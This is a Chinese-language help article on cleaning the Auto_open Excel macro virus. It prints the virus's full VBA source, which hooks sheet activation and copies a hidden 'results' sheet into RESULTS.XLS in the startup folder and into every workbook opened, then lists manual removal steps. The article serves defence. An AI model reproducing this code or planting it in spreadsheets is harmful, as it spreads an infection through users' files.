Auto_open宏病毒的解决方法

对于办公室一族office基本天天面对,但是office也会像其他程序一样中毒,比如宏病毒,如Auto_open宏病毒
病毒代码如下:
Sub auto_open()

    Application.OnSheetActivate = "ck_files"

End Sub
Sub ck_files()
    c$ = Application.StartupPath

    m$ = Dir(c$ & "\" & "RESULTS.XLS")

    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

    whichfile = p + w * 10
    Select Case whichfile
    Case 10

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name

    Sheets("results").Visible = True

    Sheets("results").Select

    Sheets("results").Copy

    With ActiveWorkbook

        .Title = ""

        .Subject = ""

        .Author = ""

        .Keywords = ""

        .Comments = ""

    End With

    newname$ = ActiveWorkbook.Name

    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False

    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

        False, CreateBackup:=False

    ChDir c4$

    Workbooks(n4$).Sheets("results").Visible = False

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case 1

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path

    s$ = Workbooks(n4$).Sheets(1).Name

    If s$ <> "results" Then

        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

        Workbooks(n4$).Sheets("results").Visible = False

    Else
    End If

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case Else
End Select
End Sub
 
处理方法:
1、打开中毒的表格,把安全性调整为中或者高;
2、禁止运行,按ALT+F11,进入代码查看模式;
3、找到病毒代码所在的模块,移除模块,保存;
4、退出表格,不保存;
5、打开C盘,查找到“results.xls"这个表格,删除;
6、重新打开其它被感染的表格,重复以上2-4步;
7、完成,记得补装一个杀毒软件,否则下次还会中的;
如果采用杀毒软件清除,可能会不慎清除所有正常代码
分享到: